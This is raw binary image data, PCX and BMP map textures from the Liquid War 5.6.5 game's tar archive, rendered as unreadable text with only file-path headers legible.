0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###/ 3 ; ?GK#S+W7'_?/cG3kS;o[CwgOoWw_k #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/lwtabses.orig.pcx0000664000372000037200000003537413407756104020663 0ustar travistravis c,, 0121212345454567676789:9:9:;<;<;<=>?>?>? 01010101212121212123232323434343454545456565656767676787878789898989:9:9:9:9:9:;:;:;:;<;<;<;<=<=<=<=>=>=>=>?>?>?>?>?>? 0123456789:;<=>? %*/0123456789:;<=>? 01010121212323434545656567676787898989:9:9:;:;<;<=<=>=>=>?>?>? #&),/01010121232343454565656767878989:9:9:;:;<;<=<=>=>?>?>? 01012345676789:;<=>?>? #(+/0123456789:9:;<=>? 01012123232343454545656567678787898989:9:;:;:;<;<=<=>=>=>=>?>? $*.0101212123234345456565676787878989:9:;:;<;<=<=<=>=>?>? 0123456789:;<=>=>? %*/012343456789:;<=>? 0101012121232343434545456567676787878989:9:9:;:;:;<;<=<=>=>=>?>? %)/0101012123234343454565656767878989:9:9:;:;<;<;<=<=>=>?>?>? 0123456789:;<=>? 0123456789:;<=>? %*/0123456789:;<=>? 0121234546576789:9:;<=>?>? (.012132343545676789:9:;<=<=>=?>? #%()-/010121232323434545656767878989:9:;:;<;<=<=>=>=>?>? 0123456789:;<=>? '/0123456789:;<=>? #%(*-/0123456789:;<=>=>? 010212345656789:9;:;<=>=?>? (.012123434565678789:9:;<;<=>=>? #&),/010121232343454565656767878989:9:;:;<;<=<=>=>?>? 0123456789:;<=>? %*/0123456789;<>?/0123456789:;<=>? %*/0123456789:;<=>? 01212345676789:;<;<=>? '/01346789;<>?.-+0132456789:<;<=>=? '/01346879;<>? 01212345456787898:9;:;<;<=>?>? 0123456789:;<=>? '.0123456789:;<=>?/,+0123456789:;<=>? %*/012345679:;<=>? '.0123456789:;<=>? #&),/01346789;<>? 01021234565768789:;:<;<=>? '/01346879;<>?/,*0213456879:;<>=? $*.024578:;=? '/012457689;<=? "%&)*-.0134679:<=? 023456789:;=>? %*/024679;=? '/0123456789:;<=>?,*+0123456789:;<=>? %*/0123456789:;<=>? (/0123456789:;<=>? !#$%'()+,./014578:<=? 012456879:;=>? #%()-/038;? (.02356789:<=?+)(01324578:;<=>? $'+/02356789:<=? '/0134568:;=>? #(+/047<> '/023569:<=? 0123456789:;<=>? !"#$%')*+,-./0123456789:;<=>?)('0123456789:;<=>? $'+/0123456789:;<=>? '.012456789:;<=>? $(+/0358:=? '/024679;=? 024689;=? (.014578:;>? !#%&(*+-/0134679:<=?*'(01346879;<>? $'+.023465789;<=? '/013578:<>? (.014589<=? (.014589<=? 012356789:<=>? '/012346789;=>? !"$%&')*+,./01234678:;<=>?/('0123456789:;<=>? '/0123456789:;<=>? %*/0123456789:;<=>? (/014578:<=? '/02467:;=? 0124679;=? %)/0135678:<>? "%'(*-/024679:<>(/(0134679:<=? 0123456879:;<=>? (.013579;=>? (.0134689;<>? '/03478;? '/0123456789:;<=>? "$&)+-/01345689:;=>?'/'(0123456789:;<=>? '/01245679:;<>? %*/01345689:;=>? '.02469:=? 03478; '/0123546789;:<=>? (.013579;=>?/(%012123234545657678789:9:;:;<=<=>=>? '/0235689;<>? $*.013579;=? (.0257:?(&$05:?/*/('('(0123456789:;<=>? '.024589;=? $'+/0123456789:;<=>? '/0358:=?>?'&#/*'('('('('('('('('013243546789:;<=>? (.038;? #%()-/023468:<=>? (.0257:?.&$/'('('('('('('( ('(07> 0123456789:;<=>? !"$%&')*+,./0123456789:;<=>? %*/0369? '/01012343545678789:;:<;<=>?>?-./$'('('0123456789:;<=>? 07? (.023465789;<=? !#$&')*,-/0134679:<=? '/0369? '/0123456789:;<=>?'()*+,-/0123456789:;<>? %*/0123456789:;<=>? #&),/0123456789:<=>? (/0369?('()*0102324354576789:;<=>? $*.0121232343454565678789:9:;:;<;<=<=>=>? '/0369;? 012456789:;<=>? '/0123456789:;<=>?'('(0123456789:;<=>? %*/0123456789:;<=>? '.0369? %)/01234576879:;<=>?'('0121323454656787989:;:<;<=>=?>? %*/01012132343454567678789:9:;:;<=<=>?>? '/0369? '.0123456789:;<=>? # &'0123456789:;<=>? %*/0123456789:;<=>? (/0369? 0213457689:<;=>?' #'0121234354565678989:9;:;<=<=>?>? (.0121232345456767878989:;:<;<=<=>=>? '/0369;? 0123456789:;<=>? %&0123456789:;<=>? '.012356789:<=>? 0123456789:;<=>? '.0369?>?#$%010121323434565676878989:;:;<;=<=>=?>? %*.02569:=? "%'*,/01232435456789:;<=>? '/0369?"#$%0123456789:;<=>? '/05:? "#%&)*,-/0123456789:;<=>? %*/0369?>? "!#0101212324345456767878989:;:;<=<=>=>?>? /!"#%')+,-/0102324354576789:;<=>? $*.0257:?!0123456789:;<=>? !#$&'()+,./0123456789:;<=>? %*/02469:=? 01012345465678989:;<;=<=>? 01012123234345456567678989:9:;:;<;<=<=>=>?>? #%(*-/0123434567687989:;<;=<=>? #&(,/014589<=? 0123456789:;<=>? 0123456789:;<=>? %*/0123456789:;<=>? #%'*-/014578:<=? 01212345676789:;<;<=>? 01012123234345456567878989:9:;:;<;<=<=>=>? (.01234345678989:;<=>=>? #&)+/024578:;=? 0123456789:;<=>? '/0257:? '/0123456789:;<=>? %*/0123456789:;<=>? '/0123468:;<=>? 0123546789;:<=>? #&)+/059? 021324356789:;=<>? "$%') .,./012468:<>? '/0102123456576789:;:<;=<=>? 0123456789:;<=>? 0123456789:;<=>? "$')+-/0 0123456789:;<>? !"#$%&'() +,-./012456789:;=>? (/0123456789:;<=>? 012456789;:<=? 047<> "%&)*-. 0123456789;:<=>? "#%()+,./0 "%'(*-/024679:<> '/010121234345456567678789:9:;<;<=<=>=>?>? 0123456789:;<=>? '/0358:=? #&),/0123456789:;<=>? $'+/012345689:;<=>? %*/0134578:;<=? '.0123456789:;<=>? 024578:;=? 014589<=? (.014589<=? .02345789:<=>? %*/01346789;<>? /024579:<>? %*.010212323434546567678789:9:;:;<;<=>=>?>? 0134679:<=? '.024589;=? '.0257:? %*/0123456789:;<=>? '/0123456789:;<=>? 0235689;>? '/02367:;=? '/0358:=> 012456879:;=>? %*/0121234546576789:9:;<=>?>? (.0123243545678798:9:;<=<>?>? %)/024578:;=? 0134679:<=? '/024589;=? '.0257:? '/0123456789:;<=>? '/0123456789:;<=>? #&),/0235689;<>? 0235689;<>? '/02367:;=? '/0369;? 0234678:9;<=? '/010212343545678789:;:<;<=>=?>? (.0123456768798:9:;<=>? "%'*,/024578:=? 0134679:<=? '.02469;=? %*/0369? %*/0123456789:;<=>? '/0123456789:;<=>? $'+/0123456789:;<=>? 023589;<>? '/03478;? (.012323454656787989:9;:;<=<>=>? .0123456789:<;<=>? $',.012468:<>? 0134679:<=? '.02469:=? '/0369? %*/0123456789:;<=>? 01346789;<>? '/012345689:;<=>? 0235689;<>? '/0358:=? '/0358:=? 01245689;:<=? '/0101212323434545656767878989:9:9:;<;<;<=<=>=>?>? (.0134679:<=? (.013469;<>? 0369? (/0123456789:;<=>? .0123456789:;<=>? (/01345789;<>? '/0235689;<>? '/047;? 0235689;>? '/0? (.0 (.0257:=?>? %*/0123456789:;<=>? (.013568:;=? (.0134679:<=? (.038;? 0134679:<=? %*/0 '/0 '/0358:=? 0123456789:;<=>? '.0123456789:;<=>? "$&(+-/0123468:;<=>? %*/012356789:<=>? '/047;? 047;? '/047;? 024578:;=? "#%&()+,./0257:? !"#%$&'()+*,-./012468:<>? #(+/01246789;=? %)/0? %)/059? (.038;? 012356789:<=>? "$%()+-/02478;=? 0123456789:;<=>? '/01234579;<=>? !"#$%&'()*+,-./01234678:;<=>? #(+/0123456789:;<=>? "$&(+-/047;? '/047;? 012468:<>? "%'*,/01021323456789:9:<;<=>? '/0123456789:;<=>? !#$&'()+,./0134568:;=>? $*.0245679:<>? #%),/047<> %*.038;? 0123456789:;<=>? '/0123456789:;<=>? 0123456789:;<=>? $'+/0123456789:;<=>? !"#%&'()*,-./0369? (.0101012121232323434345454565656767678787898989:9:9:;:;:;<;<;<=<=<=>=>=>?>?>? #(+/0134679:<=? !#%'(*,./0257:? '/01212343456789:9:;<;<=>=>? #&),/0123456789:;<=>? %*/07? #%(*,/02469;=? 0123456789:;<=>? (.0121324345676789:9;:<;<=>?>? %)/010123243454567878989:;<;<=>=>? #&),.02356879:<=? $*.0245679:<>? 0123456789:;<=>? '/0123456789:;<=>? #%(*-/0123456789:;<=>? "$&(+-/0123456789:;<=>? .0123456789:;<=>? 013579;=>? 0102123434565767898:9:;<;<=>?>? #$'(+,/012345465768798:9;:;=<=>? "#%&)*,-/010123234354565678789:9:;<;<=<=>?>? 0123456789:;<=>? !#$&'()+,./012456789;<=>? !"#$%&'()*+,-./0123456789:;<=>? 010101212323434545656767878989:9:;:;<;<;<=<=>=>?>? "!#$%&')(*+*,-./'/ "#%&),-/010121234345456567678789:9:;<;<=<=>=>?>? 01012345676789:;<=>? '. !"#$%&'()*+,-./%*/ $'+/0123456789:;<=>? 0102132435456789:;<;=<>=>? $'+.02132456789:;=<>? '/05:? !#%&(*+-./(.0213456879:;<>=? #&),.0123456789:;<=>? 0123456789:;<=>? "#$%&'()*+,-/0123456789:;<=>? '.0123456789:;<=? '/0123456789:;<=>? !"#$%&'()*+,-./02467:;=? 012468:<>? "#$%'()*,-./0123457689:;<>=? '/01234578:;=<>? (.023465789;<>=? !"#$%&'()*+,-./03478;? !"#$%&'()*+,-./0123456789:;<=>? '/0123456789:;<=>? '/0123456789:;<=>? %*/05:? !"#$%&'()*+,-./024679;=? 01213243456789:;<;=<>=>? (.0 (.0213456879:;<>=? '/01245689;<=? '/0124356879:;=>? %)/0102132435456789:;<;=<>=>? 0123456789:;<=>? %*/0 '/0123456789:;<=>? '.0123456789:;<=>? (/0123456789:;<=>? '/0123456789:;<=>? 0121343546568789:;<=>? '/0> (.0213456789:;<>=? '/012457689:;<=? '/01235678:;<=>? %*.01234567898:;:<;=<=?>? 0123456789:;<=>? '.0> '/0123456789:;<=>? 0123456789:;<=>? '/0123456789:;<=>? '/0123456789:;<=>? 012345465768798:9;:<;=<=>? (.05:> '/010123234565678789:9;:;<=<=>?>?(0257:=? '/012343565768798:9:<;<>=>? 0123456789:;<=>? '.047;? '.0123456789:;<=>?(0369? '.0123456789:;<=>? 0123456789:;<=>? '/047;? $*.0121234545678789:;:;<=>=>?(0369;? (.0213456798:;<=>? (.0123456789:;<=>? 0123456789:;<=>? %*/0369?(0358:=? '/0123456789:;<=>? '.0123456789:;<=>? 012345678:9;:<;=>? $*.02569:=? '/010212345465678989:;<;=<=>?(02367:;=? 012345678:9;:<;=>? '/0123456789:;<=>? 0123456789:;<=>? .024679;=? !"#$%&'()*+,-./012345679:;<=>?(0123456789:;<=>? (/0123456789:;<=>? 010212324345657678989:;<;<=>?>? !"$#%&'()*,+-./0123456789:;<=>?(0123234565678989:;<;<=>?>? (.021243565789:;<=>? 0123456789:;<=>? !"#$%&'()*+,-./01234579:;<=>?(0123456789:;<=>? '/0123456789:;<=>? 0101232434565678789:9;:;<;=<=>?>? (.013568:;=? (.0124579:<>?(01234354656789:9;:<;<=>? '/01234568798:;<=>? 0123456789:;<=>? '/01245679:;<>? '/013456789:;<=>?(0123456789:;<=>? %*/0123456789:;<>? 0102123234565678789:9:;<=<=>?>? (.013568:;=? (.02346798:;=>?(01234546576789:;<;=>=>? %*/0123546789:;<=>? 0123456789:;<=>? '/01246789;=>? 0123456789:;<=>?(0123456789:;<=>? '.0123456789:;<=>? 01012324345465678789:9;:;<;=<=>?>? (.012132345456768789:9:;<;=<=>?>?(01234354656789:;:;<=>? '/0123546789;:<=>? 0123456789:;<=>? '/0123456789:;<=>?(0123456789:;<=>? '/0123456789:;<=>? 01012323456567687989:9:;<=<=>?>? %*/0102123435456768789:9;:;<=<>=>?(0121234546576789:9:;<=>?>? 013245678:9;<=>? 0123456789:;<=>? .0123456789:;<=>?(012345678989:;<=>? 010101212123232343434545456565676787878989:9:9:;:;:;<;<;<=<=<=>=>?>?>?(010121232343454565676787898989:9:;:;<;<=<=>=>?>?>? 0101234345678789:;:;<=>?>?(0123456789:;<=>? 01012121232323434545456567676787898989:9:9:;:;<;<;<=<=>=>=>?>?(010121232343454545656767878989:9:;:;:;<;<=<=>=>=>?>? ( +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###[SOGC?73+'  #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/paper.orig.bmp0000664000372000037200000102107413407756104020123 0ustar travistravisBM<"(2  !!0+*975A@>EECKLIHIFMNLPSOTWSUYUTXTRVRQTQPSPOROTWTNPN<+R1ElKY^ZW\XVZWSWTsz_ea[a]ckfiun                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                liquidwar-5.6.5/data/maptex/lwtabvid.orig.pcx0000664000372000037200000000733613407756104020650 0ustar travistravis O1,,P ?>=>=<=<;<;:;:98989:;<=> >?>=>=<=<;<;:;:9:9:98987878787878787898989:9:9:;:;<;<=<=>=>? ?>=<;<;:9878789:;<=> >?=>=<=<;<;:;:9:9898987878787678787878989:9:;:;<;<=<>=>? >=<;:9:987676789:;<=> >=>=<=;<;<:;:9:9:898978787676767676767676767878989:9:9:;<;<=<=>=> >=<;:9876789:;<=> >=<=<;<;:;9:9898978787676565656565656767878989:9:;:;<;<=<=> >=<;:987656565676789:;<= =>=<;:;:9:98978786767656565645456565656767878989:9:;:;<;<=> >=<;:98765456789:;<= =><=<;<;:9:989878767656545454545454545656767878989:9:;<;<=<> =<;:;:98765456789:;<= =<=<;<:;:9:98787676565454343434343454565676787898:9:;:<;<=<= =<;:98765434343456789:;<= =<;<;:;:98987876565454343434343454565676878989:;:;<;<= =<;:9878765432323456789:;< =<;<;:9:9897876765434323232323232343454567678989:9:;<;<= =<;:987654323456789:;< =<;<;:9:98787656545432321212123234545657678789:9:;<;<= =<;:989876543212123456789:;< <=<;:9:89878765654534321212343545656768789:9:;:;<= =<;:9876543210123456789:;< <=<;<:;:9:9878676565434321210101212343454656787898:9:;:<;<= =<;:987654321010123456789:;< <=<;:9:8987876564543432121010121232434565676789:9:;:;<= =<;:98765432123456789:;< <=<;<:;:9:987876565434323121212123234345656787898:9:;<;<= =<;:989876543212123456789:;< <=<;<;:9:9878765453434232312121232343454565678789:9:;:<;<= =<;:987654323456789:;<= =<;<;:9:98987676564543432323232323234345465676787989:9:;<;<= =<;:9878765432323456789:;< =<=;<;:;:9898786765654543434323434345456567878989:9;:;<=<= =<;:987654343456789:;<= =<=<;:;:9:9878767656545454343434345456567678789:9:;:;<=<= =<;:;:98765456789:;<= =<;<;:;9:989878767656545454545454545656767878989:;:;<;<=<= >=<;:98765456789:;<= =>=<=;<;:;:9:989876765656545656567678989:9:;:;<=<=> >=<;:987656565676789:;<= =>=<=<;<;:987876767656565656565676767878989:9:;<;<=<=> >=<;:987676789:;<=> >=>=<=<;:;:9:9898787676767676767676767878989:9:;:;<=<=>=> >=<;:9:987676789:;<=> >=<;<;:;:9:98987878767678787898989:9:;:;<;<=<=>=? ?>=<;:;:9878787878989:;:;<=> >?>=>=<=<;<;:;:9:9:9898987878787878787898989:9:9:;:;<;<=<=>=>? +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###/ 3 ; ?GK#S+W7'_?/cG3kS;o[CwgOoWw_k #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/bored.orig.bmp0000664000372000037200000020537413407756104020115 0ustar travistravisBM (!!˳Կvp|kqbvggt\[fT                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            liquidwar-5.6.5/data/maptex/logo.orig.bmp0000664000372000037200000020537013407756104017756 0ustar travistravisBM (   pyƛwzahYGLJ;?Υ% <14ٸݿӭֳiTY/&(                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            }p               }p              }p              }p                                }p       l           l        }p         Èq                     l                            Èq          |                        Èq          o                                                             o                                     o                   o               }p                                                                                                                          Èq                   o           o               Èq                                                                        o                      |                                     o                          m                                             o                   ls                  o                 l                        l                                                                                                                                        ^u                                                                                  }p                      n               n                                                  o             ls                  m         l         o                                   Èq         5z       o        o          l        Èq          m                                                               o         o                                 5z                                                                                                                    n                                                                                                    }p                                                                                                                                               }                   r                                           5z               ^u                             o       m        o              n                   }p             o                                          o                  n     n        o        }p                             }p           }p                         n               o                  o                   o             o                   o             Èq            o                            >               6                                е             n                   ɫ                      )              >         wd[}=TcM̚'%g۶}liquidwar-5.6.5/data/maptex/lwtabtru.orig.pcx0000664000372000037200000000413613407756104020673 0ustar travistravis O1,,P 00 00 0 0 0 '/%*/0 0 (.0 /+/.0 0 0 .0 0 0 %*/.0 0 '/0 ./.%*/.0 0 '/.0 0 0 ./.0 0 0 .0 0 0 /./././0 '/0 /0 0 0 .(/0 0 ' 0 /0 0 /./0 0 .0 ( 0 0 0 '.0 '.0 0 0 .0 0 (.0 .0 0 '/./.0 0 /0 0 0 0 /0 ./0 '/0 /0 '/0 0 /0 0 ././.0 .0 '/0 0 0 .0 .0 '/0 ./0 0 0 0 '/0 (./.0 0 .0 0 0 0 0 .0 /0 '/0 '.0 0 ./0 .0 .0 (.0 0 ' 0 '/0 /0 /0 /0 0 $ (.0 /0 .0 0 .0 0 ( 0 /0 /0 0 0 ( 0 /0 0 0 (.0 0 0 0 .0 '/0 '.0 ' 0 '.0 0 0 ( 0 /0 ( 0 0 /0 0 (.0 0 /0 ' 0 .0 0 0 0 ./0 0 0 (.0 0 0 0 0 /0 0 0 .0 .0 .0 0 0 /0 /0 0 0 ./.0 0 (.0 0 0 0 ./0 /0 '/0 0 0 (.0 /./././0 0 .0 0 0 '.0 .'/0 /0 /0 0 0 0 '/0 ' 0 (.0 0 '/ '/.0 /0 0 0 '/0 0 /'/+/././0 0 '/0 /0 0 0 /'/.%*/0 '/0 .0 0 0 (.0 .0 ./)/'/.0 0 '/0 (.0 0 0 /0 .),/+/+/'/.0 0 /0 0 .0 %)/'/#(+/+/.0 .0 0 ' 0 .'/.0 '/0 0 0 0 .(.0 .0 0 '/0 '/0 0 '/+/.0 /0 0 0 0 (.0 .(.(./.0 .0 0 0 .0 /0 00 0 00 00 +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###/ 3 ; ?GK#S+W7'_?/cG3kS;o[CwgOoWw_k #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/solsystembyn.orig.bmp0000664000372000037200001154412613407756104021600 0ustar travistravisBMV&6( &                                                   !! ! !  ! ! !! ! !  ! ! !! ! !  ! ! !!                               ! ! ! ! ! "!"!#!$!$"$"$"$"$"%"%"%#%#%#&$&$'$'%'%'%'%'%'%&$&$'%'%'%'%(&)')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')')'('(&(&'&'&'%'%'%'%'%'%'%'%'%'%&$&$&$$#$#####"""""""""""!"!" ! !       !!                              ! ! ! ! #!#!#!#!#"$#$#$#$#%$%$%$&&&&(&(&(&)')')')'*(*(*(*(*(*(+)-*-*-*-*-*-*-*-*-*.+.+.+/,/-/-/-/-/-/-/-/-/-/-/-/-0.0.101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010100/0/0/0/0././-/-/-/-/-/-/-/-/-/-.,.,.,.,-,+++++++++++++++****)*)*)*(*()')')')'(&(&(&(&(&(&'%'%%$%$$#$#$##"#!#!#!#!#!#!#!"!                  !!" " "!"!#!#"$"$#$#%#&$&$'%'%'&(&'&)((()()(*(+)-*-*-*.+.+.+.+.,/,/,/,0.0.2.2.2.3/3/3/30404040404041525363636363636363636474748485757575757575747475858586869898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989897979787868675757575757575757574747475656565655353535353535341414141314020202/1/2/1/1.0.0-1-/-.,.,.+.+-+-*-*,),),),),),)*(('(''&(&&%'%&%&$&$%$&"%"%""!!"!!!!!             !"" " $"#"%#$$%$&$%%'&(&)'*(*(+)+)+),*,*,+,+-,-,.-.-.-0-/.0.0/1010002122222232525252636363637474758686868797:8:8:8:8;9;9;9;9;9<:<:<:<;<;>;=<?<><><><><?<><?=?=@=A?A?A?A?A?A?A?A?A?A?B@B@B@B@CACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACACAB@B@B@B@A?A?A?A?A?A?A?A?A?A?A?A?@>@=><=<=<=<=<=<=<<;<;<;<;;:;:<:;:;9:9:9:898;898:79897968786868685757474747463635251411111101///0.0./.0-.-0-.,.,-,++*+*+)*)*)*)('''&'&'&&%&%%$$$####"""!"!!!!          !!!" " " $"$#%$%%%%%&&&'&(')(*)*)+)*+,*++,+-,,-.-/.1.2.2/3/304141414143625464635474657576878788998999::;:<:=:>:>;>;?;>;@<?<@=@=@>A=B>B>B@B@B@C@CACADADADADBDBDBDBECGDEDGDFDGDFDFDGDFDHEGEIEIFIGIGIGIGIGIGIGIGIGIGJGJHJHJHKHKGKGKHLGJHLGKGKGLGJHLGKHKGKGKHLGJHLGKGKGLGJHLGKHKGKGKHLGJHLGKGKGLGJHLGKHKGKGKHJHJHJHJHJHJHJHKHJHJHJHIGIGIGIGIGIGIGIGIGIGIGIGHFHFHFHFHEGEFDFDFDFDFDECECECDBDBDBDBDBBBCBBBCBBAAAB?@?A?@>@>@>?>A=?=?=?<><?;>;?;>;>;>:<9=8;899888787777575757464635363432231112110101./.1./-/-/-.--,+,++*+*+))))((('('(&'&'%&%%%$$#$#"!"" ! !             !!" #!#!$"$#%#%$&%(&('(&)')()(*)+*+++,,,---.../.1/202031413243434354556575859696:7:7;8;8<8<9<:=:=;><>;=;>;=<?=?=?>@>@?A?@?A@AABACAE@FAFAFAGBGBHCHDHDHDIEJEJFJFJGJGKHKHKHKHLILILILILILIMJNKOKNKPLOLOLOKNKPLOLPLPLQMQMQMQMQMQMQMQMQMQMQNQNRNROROSOSOSNSNSOTNSOSNSOSOSNSOTNSOSNSNSOTNSOSNSOSOSNSOTNSOSNSNSOTNSOSNSOSOSNSOTNSOSNSNSOROROROROROROROSORORORNQNQNQNQNQNQNQNQNQNQNQMQMPMPMPMPMOLNLNLNLNLNLNLMKMJMJMJLILILILIKILIKIKIKIKIJGIGIGIFHFHEGDIEHEHDGCGCGBFCFBFBEBFADAE@C@@?@?@?@>?>?=?=><>;=<=:<:=:;:::;9:9:9989786768575747463433433232211110/0/0/0././-..,-,,++**)*)((')'(''&'%&%&$%#%"$"#!#!!!!!         !!" #!$!$"$#$$%%&%&&(&(')')(*)+*++-+.,.-0.1/1/2021313242424354656586879798:8:9;:;:=<=<><><?=?=?=@=@=@>B?B?C@CADAEBECECECFDECDCECEDGEHFIGHGHGIGIHIIJIKILHMHNINIOIOJOJPLPLQLQLRMRMRNQMQMQNROROSPSPSPTPTPTPTPTQUQVQVRWSWSWSWTVSVSWSWSWSXTXTXTXUXTXTXTXTXTXTXUXTXUYUYUYV[W[W[W\W\W\W\W[W[W[W[W[W[W[W[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[V[W[W[W[W[W[W[W[W[W[W[VZUZUZUYVYVYVYVYVYVYVXVXUXUXUWTWTVTVSVSVSVSVSVSURTQTQTQTPTPTPTQTQSPSPSPSORORNRNQNQNQNQMQMQMQMPLPLPKOKOJNINIMINILIMHKHIHHGHGHFGFGFGEEEFDDDECCBDBDBDBBBBBBABAB@A?@>?=>>?=?=?<><=<<;<;;9:99987878776766564535342323220201/1.1.0-/,.,-+,*,)*)+')'(&(&(&($'$&"&"%!$ "!!!       !!! " 